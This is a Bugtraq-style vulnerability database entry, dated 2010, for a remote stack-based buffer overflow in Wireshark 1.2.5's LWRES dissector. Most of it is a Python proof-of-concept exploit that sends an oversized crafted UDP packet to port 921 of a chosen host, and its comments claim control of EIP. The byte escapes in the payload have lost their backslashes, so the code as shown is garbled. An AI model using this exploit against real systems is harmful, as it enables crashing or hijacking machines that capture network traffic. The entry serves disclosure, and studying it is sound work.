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Home arrow World Laboratory of Bugtraq Database

Arrow  Topic :

Wireshark 1.2.5 LWRES getaddrbyname stack-based buffer overflow


Arrow  WLB : WLB-2010010127  (About)
Arrow  SecurityAlert : None
Arrow  Date : 2010-01-31
Arrow  Credit          : babi
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote : Yes
Arrow  Local     : No
Arrow  Status   : Bug

Arrow  History : [2010-01-31] Started

Arrow  Affected software :  Wireshark 1.2.5 LWRES



Arrow  Text :  

#!/usr/bin/env python

# Wireshark 1.2.5 LWRES getaddrbyname stack-based buffer overflow PoC
# with control over EIP on Debian 5.0.3
# by babi <bbbbaaaabbbbiiii@operamail.com> on 29 Jan 2010
# get it at
http://www.wireshark.org/download/src/all-versions/wireshark-1.2.5.tar.gz

import socket, sys

try:
host = sys.argv[1]
except:
print "usage: " + sys.argv[0] + " <host>"
exit(2)

port = 921
addr = (host, port)

leng = 380
high = int(leng / 256)
low = leng & 255

data = "x00x00x01x5dx00x00x00x00x4bx49x1cx52x00x01x00x01"
data += "x00x00x00x00x00x00x40x00x00x00x00x00x00x00x00x00"
data += "x00x00x00x01"
data += chr(high) + chr(low) + ("B" * leng) + "x00x00"

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
udps.sendto(data, addr)
except:
print "can't lookup host"
exit(1)

udps.close()
exit(0)


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Arrow  References :  

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Alert

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